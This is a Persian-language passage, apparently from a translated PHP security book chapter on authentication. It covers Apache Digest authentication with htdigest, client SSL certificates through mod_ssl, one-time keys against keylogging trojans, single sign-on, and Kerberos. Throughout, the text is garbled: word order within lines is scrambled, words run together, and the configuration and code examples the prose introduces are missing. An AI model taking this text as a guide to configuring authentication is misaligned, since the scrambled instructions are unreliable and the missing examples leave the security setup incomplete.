 ماژول مستند، این نگارش زمان در شود. متاسفانه، دستکاری کنند،می مدیریت انتقال حین در را درخواست

mod_auth_digest ی )گزینه کندنمی استفاده بدنه کلهای دایجست از همچنان آپاچیauth-int در 

 در  AuthDigestQop دستورالعمل

http://httpd.apache.org/docs/mod/mod_auth_digest.html#authdigestqop،) امکان همچنان بنابراین 

 به آینده در امر این که انیزم حال، این ندارد. با وجود آپاچی از استفاده با امنیتیی افزوده سطح این دریافت

 حتیها تراکنش اعتبار جهت تایید HTTP صلاحیت تایید قدرت بر توجهی قابل شکل به شود، گرفته کار

 افزود.  ، خواهدSSL قبیل از قوی امنیتی پروتکل یک از استفاده بدون

 بنابراین، شوند. ومی ارسال ساده متن صورت به دایجست صلاحیت تایید در همواره کاربریهای نام علاوه، به

 صلاحیت تایید، نمایید ایمن را خود ارسالیهای بخش از کدام هر باید شما اگر گفتیم، قبلا که طورهمان

 بازگشت، قابل غیر صورت به رمزعبور که دلیل این به بود. ولی نخواهد SSLجهت  جایگزینی دایجست

 قابل اطمینان سطح یک توانیدمی بنابراین و آورد شمار به ایمن واقعا را آن توانمی است، شدهسازی درهم

 رمزعبور آن از استفادهجهت  حق دارای دهدمی انجام را درخواست که کاربری که باشید داشته قبول

 محدودکردن نگران تنها اگر الخصوصعلی باشد، کافی شمای برنامهجهت  است ممکن امر باشد. اینمی

 منتجهای پاسخ یا وها درخواست این محتوای داشتننگه خصوصی نگران نه و هستید درخواست انجام توانایی

 ها. آن از

  آپاچی با دایجست صلاحیت تایید از استفاده 3.2.2.1

 کار به خودی برنامه در صلاحیت تاییدجهت  را ایمن حدی تا دایجست ویرایش یک که ایدگرفته تصمیم شما

 تواندمی آپاچی خود کنید، تنظیم درستی به را آپاچی بتوانید که هستید root دسترسی دارای گیرید. اگر

 کندمی استفاده آپاچی mod_auth_digest ماژول از که دهد، انجام شماجهت  را کار اعظم بخش
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 تنظیمی (. فرآیندکردیم( ) بیان قبلا که طور)همان

 باشد. می مرحله دو دارای تنها و ساده است بسیار

 بخش در یا را زیر ورودی مانند به ورودی یک و نموده ویرایش را httpd.conf که است آن اولی مرحله

 در توانندمی همچنینها دستورالعمل نمایید. این اضافه مجازی،ی میزبان نگهدارنده در یا و اصلی

AuthConfighttpd.conf صلاحیت تایید خواهیدمی شما که کندمی فرض مثال شوند. این ظاهر نیز 

 دهید:  قرار wiki/ دایرکتوری در را دایجست

 

 قرار آن زیرها دایرکتوری در که هستید URI هر و wiki/ در URI از حفاظت حال در شما مثال، این در

 ارائه را AuthName یک دهید قرار استفاده مورد خواهیدمی که AuthType کردن مشخص از دارد. بعد

 داده نشان کاربر به رمزعبور -کاربری نام درخواستی پنجره در که است اختیاری قلمرو نام که کنیدمی

 AuthDigestDomain کند. دستورالعملمی مشخص را خاص صلاحیت تایید قلمرو یک و شد خواهد

 اعمالها آن روی بر باید صلاحیت تایید که کند مشخص سرور یک از بیش روی بر را URI چندین تواندمی

 گردد. 

 بر حتی نمایند استفاده وب مکان چندینجهت  رمزعبور و کاربری نام همان از توانندها میمشتری بنابراین،

 تنظیمات دارای دهندمی خدماتها مکان این به که سرورهاییوب که شرطی به متفاوت سرورهای روی

 صلاحیت تایید مشخصات جذاب ویژگی یک ولی است نیاز مورد ندرت به انعطاف نوع باشند. این مشابه

 اینجا در که کنیدمی مشخص را رمزعبور فایل مکان همچنین باشد. شمامی دایجست

/usr/local/etc/digestpw به باشد معتبر باید کاربر هر که گوییدمی آپاچی به شما نهایت، باشد. درمی( 

 آن، از استفاده بدون ؛valid-userی یافته تعمیم دستور از استفاده رمزعبور( با فایل در شده تعریف شکل

 نمایید.  فهرست شود، انجام صلاحیت تایید باید ویجهت  که را کاربری هر باید شما

 دارای که شود ایجاد آپاچی htdigest دستور از استفاده با رمزعبور فایل یک که است این دومی مرحله

 بود:  خواهد زیر چینش
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 و کنید ایجاد را جدید رمزعبور فایل یک که خواهیدمی شما که گویدمی htdigest به c– اختیاری سویچ

 با منطبق باید realm و passwdFile گیرد. پارامترهایمی قرار استفاده مورد ورودی اولین با تنها

 خواهیدمی شما که باشدمی کاربری نام همان username و بوده httpd.conf در مرتبطهای دستورالعمل

 نموده ایجاد را digestpw فایل ما خود، مثال دادن ادامهجهت  نمایید. بنابراین رسانی روز به یا و کرده ایجاد

 کنیم. می اضافه را msouthwell یعنی کاربر اولین و

 

 ایجاد را digestpw فایل سپس و خواهدمی را username عبور رمز شما از بار دو htdigestی برنامه

 توسط معمولا usr/local/etc/ دایرکتوری که چرا کنیممی عمل root عنوان به ما که کنید کند. توجهمی

 رمزعبور جدید، مقدار یک به رمزعبور تغییر از قبل htdigest باشد. دستورنمی نگارش قابل عادی کاربران

 توسط رمزعبور فایل که شوید مطمئن اینکهجهت  است دیگری دلیل که کند،نمی درخواست را کاربر کنونی

 htdigest فراخوانی با توانندمی عبور کاربری/ رمز نام اضافی باشد. ترکیباتنمی ویرایش قابل کاربران سایر

 شوند(:  رسانی روز به )یا شوند اضافه فایل این به c- سویچ بدون

 

 اگرکند. می ایجاد را آن htdigest نباشد، موجود شده، داده قلمرو در قبل از کاربری نام اگر دستور، این با

 شد.  خواهد رسانی روز به آن رمزعبور آنگاه باشد، داشته وجود

 بود:  خواهد این به شبیه کردید تولید الان همین که رمزعبوری فایل

 

 دو با که شدهسازی درهم دایجست و قلمرو کاربری، باشد: نام آشکار کاملا اول نگاه در باید فایل این فرمت

سازی درهم یک بلکه نیست رمزعبور ازسازی درهم یک تنهاسازی درهم حال، این اند. باشده جدا هم از نقطه

MD5 ی رشته ازusername:realm:password شده فرستاده اطلاعات بسته همان این باشد. البته،می 

ی مقایسهی ساده موضوع یک اعتبار بررسی باشد. بنابراین،می Authorized هدر با همراه مشتری توسط

 است.  قبل از شده ذخیرهسازی درهم با مشتری سوی از شده ارسالسازی درهم
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 رمزعبور فایل در خط چندین باشد، مختلف قلمروهای در رمزعبور یک دارای کاربر یک اگر که کنید توجه

 متن صورت به باید قلمرو هم و کاربری نام هم که است دلیل همین داشت. به خواهد وجود کاربر آنجهت 

 باشند.  داشته قرار دایجست، در همچنین و  فایل این در ساده

 متغیرهای از شمای برنامه اگر بیفتد کار از اکسپلورر اینترنت در است ممکن دایجست صلاحیت هشدار: تایید

_$GET که چرا کند استفاده IE فیلد تواندنمی URI هدر که زمانی نماید مدیریت درستی به را 

Authorized 2.0.51 از بالاتر آپاچی ویرایش یک دارد: از وجود حل راه یک کند. خوشبختانهمی ایجاد را 

 کنید:  استفاده مناسب، دایرکتوری در htaccess. یا و httpd.conf در زیر دستورالعمل و

 

 آپاچی به جهت اینکه htaccess. یا httpd.conf از استفاده )با نمودید کامل را مرحله دو این که هنگامی

 صلاحیت تایید از استفادهی آماده نمودید(، ایجاد را رمزعبور فایل و نماید درخواست رمزعبور که بگویید

 شما PHPهای کند. اسکریپتمی مدیریت تنهایی به را مشتری با مذاکره فرآیند آپاچی و هستید دایجست

جهت  که بود خواهند در شده تایید کاربری نام به دسترسی همان دارای

 دارند.  ابتدایی، صلاحیت تایید

 طرفه دو صلاحیت تایید 3.3

 فرآیند دو آن، در که عاملی دو صلاحیت تایید از است عبارت صلاحیت تاییدهای روتین در جدید تغییر یک

 دانش درخواست معمولا عاملی دو صلاحیت تایید هستند. بهترین نیاز مورد همزمان ولی مجزا صلاحیت تایید

 حال در که است کانالی از غیر دیگری کانال از آمدهی ارائه قطعه یک داشتن اختیاز در و رمز یک خصوص در

 بر است ممکن یا و شود ارسال ایمیل یا و همراه تلفن طریق از است ممکن قطعه باشد. اینمی صلاحیت تایید

 شود.  داده کاربر به فیزیکی صورت به و باشد شده انکد مموریفلش دستگاه یک یا و هوشمند کارت یک روی

 در واقعی افزایش نوع هیچ تنهایی به عاملی دو صلاحیت تایید که دارد وجود خصوص این در نگرانی اندکی

 به رمزعبور سادگی به را رمزعبور هم و قطعه هم تواندمی میانجی فرد یک که چرا کندنمی ایجاد را امنیت

 یک یا و نماید بازپخش را اولیه درخواست تا نماید استفاده افشاشده اطلاعات این از و آوردارائه  تنهایی

 عامل که است آن نیازمند عاملی دو صلاحیت تایید ترینقوی اساس، همین کند. بر ایجاد را جدید درخواست

 )برای HTTP درخواست یک از غیر روشی از استفاده با یعنی شود ارسال سرور به خارجی صورت به دوم
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 33تراکنش یک صلاحیت تاییدجهت  امضاشده ایمیل یک نیازمند است ممکن برنامه وب(. یکی برنامه یک

 آن نیازمند است ممکن حساس بسیاری برنامه پیامک. یک یک یا و تلفنی تماس یک آن، از بهتر یا باشد وب

 مد تراکنش که شود ارسال شده تایید پستی صندوق یک از استفاده با و شده قانونی ثبت دوم عامل که باشد

 نمود.  تایید بتوان را درخواست این صلاحیت که زمانی تا ماندمی معلق نظر

 ما نیستیم،ها تراکنش صلاحیت تاییدجهت  شدیدی شرایط چنین گرفتن نظر در به نیازی ما اغلب که آنجا از

 گواهی از کنیم: استفادهمی ارائه ادامه، در را منطقی ایمنی با عاملی دو صلاحیت تایید از عملی مثال دو تنها

SSL مصرف بار یکای کلیده از استفاده و رمزعبور صلاحیت تاییدجهت  پشتیبان یک عنوان به مشتری یک 

 ها.  درخواست از کدام هر اعتبار تاییدجهت 

 HTTPS از استفاده با گواهی بر مبتنی صلاحیت تایید 3.3.1

 کلید رمزنگاری از استفاده با CA توسط شده امضا سرور گواهی یک طریق از سرور دانیدمی که همانطور

جهت  را خود تواندمی نیز کند. مشتریمی صلاحیت تایید مشتری،جهت  خود هویت اثباتجهت  عمومی

 یک ،HTTPS درخواست یک از نماید. جهت استفاده صلاحیت تایید مکانیسم، همین از استفاده با سرور

 آن CA امضای بررسی با که دارد انتظار سرور از )که  CA توسط شده امضا عمومی کلید یک حاوی گواهی

است.  نموده امضا را آن خود خصوصی کلید از استفاده با که کندمی ارسال پیام با همراه نماید( را تایید را

 تایید را آن که گواهی، در )موجود مشتری عمومی کلید از استفاده با را پیام امضای که کندمی تلاش سرور

 این نماید. اگر اعتبار دارد( تایید اعتماد است، نموده امضا را آن که CA یا گواهی مرجع به که چرا کندمی

 شود. می صلاحیت تایید نیز مشتری باشد، معتبر امضا

 قابل مدیریتی سربار اینکه بدون گرفت کار به بزرگ کاربر مجموعه یکجهت  موفقیت با تواننمی را روش این

 امضای درخواست یک کلید، این از و کند تولید را خصوصی کلید یک باید کاربر آید. هر وجود به توجهی

 آمدهارائه  گواهی و شود امضا سازمان، CA کلید از استفاده با باید CSR کند. این ایجاد ( راCSR) گواهی

جهت  که مرورگری هر در را گواهی و خصوصی کلید این باید کاربر شود. هر بازگردانده کاربر به دوباره باید

 تاییدجهت  شوند: ذخیره مدیریت بایدها گواهی این کند. و نصب نمود، خواهد استفاده آن از برنامه با ارتباط

 حال، این با شوند. و نامعتبر دلیل، هر به که صورتی در شدن فسخ و اعتبار، پایان هنگام نمودن تجدید آتی،

 اعتبار تایید را مشتری همان تنها مشتری یک گواهی که دلیل این به گیرند قرار استفاده مورد بایدها رمزعبور

 کند. می صفحه کلید استفاده از که واقعی کاربر هویت نه و نمود خواهد
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 اختیار در کاربر که چیزی ،SSL مشتری گواهی یک با داند،می کاربر که چیزی رمزعبور، یک از استفاده

 مالکیت ادعای واقعیت، در حال، این شود. با گرفته نظر در عاملی دو صلاحیت تایید نوعی است ممکن دارد،

 را آن که است مشتری وب مرورگر بلکه ندارد اختیار در را گواهی کاربر، واقع باشد. درمی مشکوک حدی تا

 شود، ذخیره بی-اس-یو کلید یک مثلا حمل قابلهای رسانه روی بر مشتری این اگر دارد. ولی اختیار در

 دهد.  انتقال دیگر،ی رایانه به رایانه یک از را آن فیزیکی صورت به تواندمی  آن مالک فرد آنگاه

 امنیت یارائهجهت  روش ترینقوی همچنان SSL از استفاده مشکلات، این تمامی رغم علی حال، این با

 دهد. ارائه می کاربرد این مدیریتجهت  را ساده نسبتا روش یک آپاچی mod_ssl است. ماژول مندنظام

  مشتریهای گواهی از جهت استفاده mod_ssl تنظیم 3.3.1.1

 حفاظت بخشجهت  بازدیدکننده هر که است آن نیازمند مشتری گواهی صلاحیت تایید حالت، ترینساده در

 و باشد شده امضا شما CA گواهی با و شده صادر شما توسط که دهد ارائه را گواهی یک شما، سایتی شده

های گواهی نصب و ساخت با مقایسه دهد. در ارائه هویت اثبات عنوان به را امضاشده پیام یک همچنین

 به را زیر دستورالعمل سه ،httpd.conf است. در ساده بسیار ها،آن از استفادهجهت  سرور تنظیم مشتری،

 کنید:  اضافه دهید، قرار حفاظت مورد خواهیدمی که دایرکتوری بلوک یا و مکان مجازی، سرور سرور، هر

 

جهت  باید شده تایید مشتری گواهی یک که گویدمی سرور به SSLVerifyClient require دستورالعمل

 شکل به شما سطح، یک روی بر SSLVerifyDepth تنظیم شود. با ارائه خاص،ی ناحیه یک به دسترسی

 شده امضا سرور،جهت  شده شناخته CA گواهی یک با باید شده ارائه گواهی که کنیدمی مشخص موثر

 بیابد را شده شناخته CA یک تا برود بالا به CAی زنجیره در که ندارد اجازه سرور دیگر، عبارت باشد. به

 مساوی عمق با برابر )که باشد امضا-خود ندارد اجازه گواهی بود( و خواهد سطح یک از بالاتر عمق یک )که

 مورد دقیق CA گواهی نمودن جهت مشخص SSLCACertificateFile بود(. دستورالعمل خواهد صفر

 را مشتریهای گواهی دارد اجازه ( کهconf/ssl.crt/ca.crt در واقع گواهی اینجا، )در گیردمی قرار استفاده

 کند.  امضا
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  34هاگواهی ایجاد 3.3.1.2

 ایجاد خصوصی RSA کلید یک ابتدا، شوند. درمی ایجاد ای،مرحله سه فرآیند یک طریق ازها گواهی

 مرجع یکجهت  که گیردمی قرار استفاده مورد گواهی امضای درخواست یک ایجادجهت  کلید شود. اینمی

 که کندمی ایجاد را گواهی یک و نموده استفاده CSR امضایجهت  خود کلید از CAشود. می ارسال گواهی

 بر است ممکن مراحل این مشتری،های گواهی خصوص شود. درمی فرستاده پس کننده، درخواستجهت 

 یک طریق از را گواهی و خصوصی کلید ادامه، در که شوند انجام سیستم مدیر یک توسط یکتا سرور یک روی

 ارسال مشتریجهت  شده،حفاظت LAN یک بستر در یا و بی-اس-یو کلید یک قبیل از ایمن، کانال

 ایستگاه روی بر را CSR و کلید این نهایی، کاربر حالت، ترینایمن در و آلایده شکل به حال، این شود. بامی

 کند. می ارسال امضا،جهت  مدیر یک یا CA یک به را CSR تنها و کندمی تولید خود، کاری

 

 

  مشتری گواهی یک از استفاده 3.3.1.3

 خصوصی کلید با باید گواهی این کند،می دریافت مدیر یا CA از را شده امضا گواهی کاربر، این که هنگامی 

 سایر و MSIE، Firefix کهای گونه به شود تبدیل PKCS#12 فرمت به و شود ترکیب دوباره وی

دارد(  قرار client.key در اینجا در )که RSA کلید یک قبل از وی اینکه، فرض بشناسند. با را آن مرورگرها

 گواهی به راها آن زیر، دستور است، نموده ایجاد ( راclient.crt اینجا، )در شده امضا گواهی یک و

PKCS#12 نام با client.p12 کند: می تبدیل 

 

 محتوای تا کندمی درخواست را« خروجی رمزعبور» یک کند،می تبدیل را گواهی این openssl که هنگامی

 باید ولی دارد تمایل کاربر که باشد چیزی هر تواندمی رمزعبور دهد. این قرار حفاظت مورد را خصوصی کلید

 روی بر شده تبدیل گواهی این که بود خواهد نیاز مورد زمانی در دوباره و شود ارائه گواهی تبدیلجهت 

 شود. می نصب کاربر، وب مرورگر
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 بر کلیک بار دو که هرچند دهندمی ارائه گواهی نصبجهت  را مختلفیهای مکانیسم متفاوت مرورگرهای

 باشد.  کافی عامل، سیستم فرضپیش مرورگر در آن نصبجهت  است ممکن گواهی یک روی

 Tools>Options>Advanced>Certificates>Manage مسیر در مشتریهای گواهی فایرفاکس، در

Certificates> Import ی دکمه روی بر که شوند. وقتیمی نصبImport گواهی یک تا کنیدمی کلیک 

 کند؛می درخواست را گواهی آن از حفاظتجهت  شده استفاده رمزعبور گواهی، مدیر کنید، وارد را جدید

 مورد backups عنوان به را گواهیهای فایل )فایرفاکس، است شده داده نشان 2-3 تصویر در که طورهمان

 دهد(. می قرار اشاره

 در نیز )اینجا در را گواهی که صورت این به است شده نصب واقعا گواهی این که کنیم بررسی توانیم می

 <Tools>Options>Advanced>Certificates>Manage Certificates مسیر فایرفاکس( در

Your Certificates کنیم.  مشاهده است، شده داده نشان 3-3 تصویر در که طورهمان 

 

 

 

 فایرفاکس موزیلا درون به PKCS#12 گواهی یک نمودن : وارد2-3 تصویر
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 است شده نصب که یکتا امضای-خود مشتری گواهی یک با فایرفاکس موزیلا در گواهی : مدیر3-3تصویر

 

 چرا است، غیرعادی اندکی دهند،می ترجیح را اپل سافاری مرورگر که کاربرانیجهت  گواهی مدیریت فرآیند

 که طورهمان شوند؛می مدیریت OS X کلید زنجیره دسترسیی برنامه توسط سافاریهای گواهی تمامی که

 است.  شده داده نشان 4-3 تصویر در

 شده نصب که یکتا امضای-خود مشتری گواهی یک باOS X کلید زنجیره دسترسیی : برنامه4-3 تصویر

 است
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 SSL ارتباط یک اعتبار تایید 3.3.1.4

 آپاچی نمایند، استفاده مشتری گواهی یک از تا شدند تنظیم مشتری، وب برازور هم و آپاچی هم که زمانی

 ایمن ارتباط یک ایجاد در مشتری آیا که دهد قرار تایید مورد را موضوع این کمکی هیچگونه بدون بتواند باید

 امنیتجهت  حال، این خیر. با یا است بوده موفق HTTPS اتصال زمان در معتبر گواهی یک یارائه با

 که شود مطمئن تا دهد انجام را خود مستقل بررسی شما،ی برنامه که کنید کاری است ممکن شما بیشتر،

 دهید انجام زیر کد با را کار این توانیدمی است. شما شده ایجاد ایمن، ارتباط یک
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 نشان FALSE صورت به را allow$ پرچم و شودمی ارتباط یک مانع فرض،پیش صورت به اسکریپت این

 تنظیم SERVER$_ سوپرگلوبالی آرایه در HTTPS کلید آیا که کنید بررسی باید ابتدا در دهد. شمامی

باشد.  شده فعال mod_ssl توسط SSL که دارد وجود صورتی در تنها HTTPS خیر. کلید یا است شده

 FALSE حالت در را پرچم شما بنابراین و باشدنمی ایمن ارتباط، این آنگاه باشد، نداشته وجود کلید این اگر

 شود.  استفاده reason$ متغیر در ارتباطاتجهت  باید SSL که کنیدمی مشخص و داشته نگه
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 را مشتریهای گواهی که است شده تنظیمای گونه به سرور آیا که کنیدمی بررسی را مسئله این سپس،

 یا است بوده موفق CA امضای اعتبار بررسی آیا که کنیدمی بررسی بود، صورت این به اگر و خیر یا بپذیرد

 باشد، شده تنظیم SERVER$_ی آرایه در SSL_CLIENT_VERIFY کلید که صورتی خیر. در

 عبارت کلید این مقدار اگر گردد. ولیمی دریافت آپاچی توسط و شده درخواست مشتری گواهی یک آنگاه

 پرچم هم باز شما بنابراین و است خورده شکست گواهی این اعتبار تایید آنگاه ،FAILED: (null) از باشد

$allow حالت در را FALSE جهت  بررسی دو این از هیچکدام کنید. اگرمی مشخص را دلیل و داده قرار

 را پرچم شما و آورد حساب به ایمن باید را ارتباط این آنگاه نباشد، TRUE صورت به ایمن غیر ارتباط این

 داد.  خواهید قرار TRUE با برابر

 توضیح ( کهForbidden 403 هدر یک با )همراه پنجره یک ایجاد از بعد یا شما بررسی، دو این اتمام از بعد

 شوید.می خارج برنامه، با کاری ادامهجهت  کاربر به اجازه از بعد یا و نیست ایمن ارتباط این چرا که دهدمی

 PHP در مشتری گواهی جزئیات خواندن چگونگی 3.3.1.5

 گواهی در موجود اطلاعات باید است، نموده ایجاد را ایمن ارتباط یک کاربر که شدید مطمئن که هنگامی

 قبلی بخش در که طورکنید. همان صلاحیت تایید را مشتری تا دهید قرار استفاده مورد و یافته را مشتری

 خواهد دسترس در PHPجهت  SERVER$_ سوپرگلوبالی آرایه در گواهی این جزئیات دادیم، پیشنهاد

 از این مورد ترینشوند. مهممی آغاز SSL_CLIENT_S با که دارد قرار کلید مجموعه یک در که بود

 در که گواهی روی ( برCommon Name) عمومی نام از است عبارت ما اهدافجهت  مقادیر

 کند. تصویرمی مشخص را گواهی حامل و مالک نام، است. این شده ذخیره 

 ایمن سرور یک روی بر را گواهی با مرتبط مقادیر این که باشدمی ()phpinfo تابع خروجی از بخشی 3-5

 دهد. می نشان است، فعال آن روی بر مشتریهای گواهی که

 فعال آن روی بر مشتریهای گواهی که ایمن سرور یک روی بر ()phpinfo خروجی از : بخشی5-3 تصویر

 است
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 سوپرگلوبالی آرایهجهت  کلیدها از عبارتند رنگ آبی یزمینهپس با چپ سمت ستون درها ورودی تمامی

_$SERVERبا که . کلیدهایی SSL_CLIENT_S دارند اشاره گواهی حامل یا موضوع به شوندمی آغاز 

 اشاره CA یا گواهیی صادرکننده به شوند،می آغاز SSL_CLIENT_I با که کلیدهایی که حالی در

 دارند. 

 آن آپاچی توسط نتوان که دهد ارائه را گواهی یک کندمی آغاز را 35تعامل و تراکنش یک که مشتری یک اگر

 برنامه و داد خواهد نشان کاربر به را خطا یک مرورگر شد، خواهد قطع شده رمزنگاری ارتباط نمود، تایید را

 شد.  نخواهد هم آغاز حتی، هیچگاه
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  صلاحیت تاییدجهت  مصرف بار یک کلیدهای از استفاده 3.3.2

 قرار آن روی بر که است بوده هاییداده و سرور امنیت روی بر فصل این در تاکنون ما اصلی تمرکز که هرچند

 امنیت از است عبارت دارد قرارها برنامه دهندگانتوسعه برابر در امروزه که دیگر بزرگ مشکل یک دارند،

 هیچ اصولا شما و هستند خود کاریهای ایستگاه امنیت مسئول خودشان شما مشتری. کاربرانهای سیستم

 و عامل سیستم یک از که کنید مجبور راها آن اینکه مگر نداریدها آنهای سیستم روی بر کنترلی

 یا ویروس یک خصوص در عرف دیدگاه که حالی کنند. در استفاده بوت، قابل دیسی یک رویهای مشتری

 تنهاها تروجان اغلب حتی یا بسیاری شود،می توجه قابل و فوری صدمات باعث که است اینای رایانه تروجان

 کنند. اینمی ضبط را رایانه از خروجیهای داده و شده فشرده کلیدهای تمامی و کنندمی کار زمینهپیش در

 که کنندمی ارسال است نموده نصب راها آن که مهاجمیجهت  را اطلاعات این متناوب صورت بهها برنامه

 وارد یا و شودمی خود بانکی حساب وارد که کند پیدا را کاربری تا کندمی بررسی را اطلاعات این وی

 صورت به و نموده کپی را ورودها یاها لاگین این تواندمی مهاجم این گردد. اکنونمی شرکت یک اینترانت

 بدزدد.  را قربانی هویت موثر،

باشد( می عاملی دو صلاحیت تایید از شکل یک همچنین )که مشکل اینجهت  پیشنهادی حل راه یک

 یک ایمیل طریق از یا دستی صورت به شده ثبت کاربر مصرف. هر باریک کلیدهای از استفاده از است عبارت

 استفاده مورد صلاحیت تایید دوم دورجهت  که کندمی دریافت را کوتاه رمزعبورهای یا و کلیدها از فهرست

 شده وارد SSL بستر در که خواهدمی هم کاربر از برنامه حساس، تراکنش گرفت. جهت هر خواهند قرار

 این برنامه که دهد. هنگامی ارائه را مصرف بار یک کلیدهای فهرست در نشده استفاده بعدی کلید هم و باشد

 مقایسه دارد، کاربر فهرست از خود کپی روی بر که چیزی با را شده ارائه کلید کند،می دریافت را درخواست

 کاربر اگر شود؛می صادر چالش یک صورت، این غیر یابد. درمی ادامه تراکنش باشد، درست کلید کند. اگرمی

 و شده ساقط اعتبار از جلسه املایی(، غلط هیچ بدون بعدی کلید کردن وارد بار )این ندهد پاسخ درستی به

 شود. می صادر مشتریان، خدماتی نماینده یک توسط پیگیریجهت  امنیتی پشتیبانی بلیط یک

 هم باید )کاربر دهدمی ارائه را صلاحیت تاییدجهت  ثانویه عامل یک تنها نه سیستمی چنین از استفاده

 از که را مهاجم یک همچنین باشد(؛ داشته اختیار در را کلیدها فهرست هم و بداند را خود ورودی رمزعبور

 ارسال را بعدی فرم تا بماند کاربر منتظر کند، عمل واقعی زمان در که کندمی وادار کندمی استفاده تروجان

 خود سریع درخواستجهت  آن از سپس و بدزدد، را مصرف بار یک کلید بیندازد، دام به را درخواست کند،

 نماید.  استفاده

 را شود رو به روها آن با موفقی حمله یک اجرایجهت  باید مهاجم یک که را مشکلاتی روش این هرچند

 کوتاه، زمانی مدت در که باشیم داشته انتظار که هستیم گراواقع کافیی اندازه به ما ولی کندمی بیشتر بسیار
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 این در حال، این نمود. با خواهند ایجاد آن، تاثیر کاهش حداقل یا و آن شکستجهت  را راهی مهاجمان

 دهد. ارائه می را اضافی حفاظت قویی لایه یک باشد، پیچیده اندکی شاید که هرچند روش، این زمان،

  یگانه شناسایی صلاحیت تایید 3.4

 ماشین چندین به شدن وارد به مجبور که نیست غیرعادی مجوز، دارای کاربر یک خصوصا کاربر، یک برای

 روی بر که اضافی خدمات تعداد هرجهت  ثانویه سرورهای سپس و اصلی سرور شود: یک هم سر پشت

 کاربر که چرا باشدمی سردرگمی حداقل فاجعه، نه اگرجهت  دستورالعمل یک اند. ایننشده ارائه اصلی ماشین

 SSL از شما بسپارد. اگر خاطر به را رمزعبورها و کاربریهای نام از عظیمی مجموعه یک که کندمی سعی

 این که دهید قرار محافظت مورد را سرور هر ورودی صفحه باید آنگاه کنید،می استفاده صلاحیت جهت تایید

 نهایت، نمایند. در مدیریت باید شما کاربران هم و شما هم که شودمی هاییگواهی تعداد افزایش باعث امر

های دهد. سیستم افزایش زیادی حد تا را مدیریتی سربار تواندمی کاربران از دادهپایگاه چندین مدیریت

 با یکتا ایمن سرور یک از استفاده با را ورود چندین تا کنندمی ( سعیSingle Sign-On) یگانه شناسایی

 نمایند.  تسهیل مرکزی، صلاحیت تاییدی دادهپایگاه یک و کافی محافظت

 بهها آنی ذخیره ضروری، صلاحیت تایید اطلاعات تمامی آوریجمع با هایی سیستم چنین کلی، صورت به

 کرده عبور اولیه مانع از که کسی هرجهت  نیاز هنگامها آن یارائه سپس و دادهپایگاه نوعی در ایمن صورت

 موفق، برپایی از بعد ولی است؛ سختها آن برپایی و بوده پیچیدهها سیستم این کنند. بنابراین،می عمل باشد،

 هایی سیستم چنین آل،ایده صورت دهند. بهمی کاهش را انسانی خطای پتانسیل توجهی قابل شکل به

 است ممکن که است عاملی که گیردمی قرار استفاده مورد که هستند صلاحیتی تایید فناوری از مستقل

 دهد.  افزایش را هاآن پیچیدگی

 

 ( Kerberos )سربروس، کربروس 3.4.1

 یونان اساطیر در که است شده گرفته سری سه سگ از آن نام و است یافته توسعه MIT توسط که کربروس

  باشد.می یگانه شناسایی سیستم ترینپیشرفته و ترینمعروف کند،می پاسبانی مردگان دنیای از

 یک شود، وارد خواهدمی کاربر( که یک چه و باشد سرویس یک )چه مشتری یک کربروس، سیستم در

 بلیط یک KDC کند. اینمی ( ارسالKDC) کلید توزیع مرکز یک به بلکه هدف سرور به نه را درخواست

 سپس و شده رمزنگاری مشتریی شده ذخیره رمزعبور با که کندمی تولید ( راTGT) بلیطی کننده ارائه

 رمزگشایی خود، مشخص رمزعبور با را TGT که کندمی سعی شود. مشتریمی فرستاده پس مشتریجهت 

 مشخص مدت یکجهت  تنها و است شده ذخیره مشتری روی بر که ،TGT آن آنگاه شود، موفق نماید. اگر

 کندمی مدیریت بیشتر، کلیدهای درخواست با را ورودجهت  اضافی درخواست نوع هر باشد،می اعتبار دارای
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 با مشتریی اولیه تنظیمات از دهد. فراترمی را خاص سرویس یک با ارتباطی اجازهها آن از کدام هر که

URI مختص KDC، باشد. می شفاف کاربر،جهت  فرآیند این کل 

 مستند اینی گستره از فراتر کربروس از استفاده و نصب چگونگی خصوص در دقیقهای دستورالعمل یارائه

 دسترس در MIT از برنامه این است. ولی پیچیده محصول یک گفتیم( این قبلا که طور)همان که چرا است،

ی استفاده با باز منبع افزارهاینرم با استفاده مورد مجوزهای با مشابه رایت کپی مجوزهای از که است

 کننده، تولید چندین سوی از کامل پشتیبانی با تجاری محصول یک عنوان به برد. همچنینمی بهره گسترده،

 است.  دسترس در

  خودتانجهت  یگانه شناسایی سیستم ساختن 3.4.2

 PHP با چیزی چه خوب که چرا است پذیر امکان PHP با مطمئنا خودی یگانه شناسایی سیستم از استفاده

 را برنامه ( سرورهایredirect) دهیبازجهت لاگین چند یا یک که است این کلی رویکرد نیست؟ پذیر امکان

 از اگر کندمی صلاحیت تایید رمزعبور طریق از را کاربر ایمن، سرور نماییم. این ایجاد یکتا، ایمن سرور یک به

 تایید جلسه، و کاربر که کند. هنگامیمی ایجاد را جلسه کوکی یک سپس و باشد نشده صلاحیت تایید قبل

 رمزنگاری و امضا برنامه، سرور عمومی کلید از استفاده با را کاربر اطلاعات ایمن سرور شدند، صلاحیت

 که دهدمی ارائه زمانی در درخواستی متغیر یک عنوان به را شده امضا و رمزنگاری اطلاعات کند. سپسمی

 گرداند. می باز برنامه، سرور به را شده صلاحیت تایید کاربر

 دادهپایگاه اند فرانت یک با cms.example.org آدرس در محتوا مدیریت سیستم یک شما که کنید فرض

 sso.example.org در را خودی یگانه شناسایی سرور دارید. شما mysqladmin.example.org در

 طریق از شود، cms وارد که کندمی تلاش کاربر ( یک6-3 تصویر در اول )گام که کنید. هنگامیمی ایجاد

SSL به sso رمزعبور و کاربری نام ایمن، ارتباط یک طریق ( از6-3 تصویر در دوم )گام که یابد،می انتقال 

 زیر، URI به را ( کاربر6-3 تصویر در سوم )گام sso موفق، صلاحیت تایید از کند. بعدمی درخواست را وی

 دهد: می انتقال

 

 یگانه شناسایی : فرآیند6-3 تصویر
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 امضای همراه به کاربری شده تایید هویت شامل که پیام یک base64 انکودینگ از است عبارت auth مقدار

sso.example.org عمومی کلید از استفاده با که است cms.example.org است.  شده رمزنگاری

  عنوان به را مقدار این cms.example.org روی بر login.php اسکریپت که هنگامی

 امضای برد. سپس،می بهره اطلاعات این از رمزگشاییجهت  خود خصوصی کلید از کند،می دریافت

sso.example.org عمومی کلید از استفاده با را sso ( 6-3 تصویر در چهارم )گام نهایت در و نموده تایید

 برنامه با تا دهدمی اجازه کاربر به بنابراین و نمایدمی صلاحیت تایید sso توسط شده ارسال هویت با را کاربر

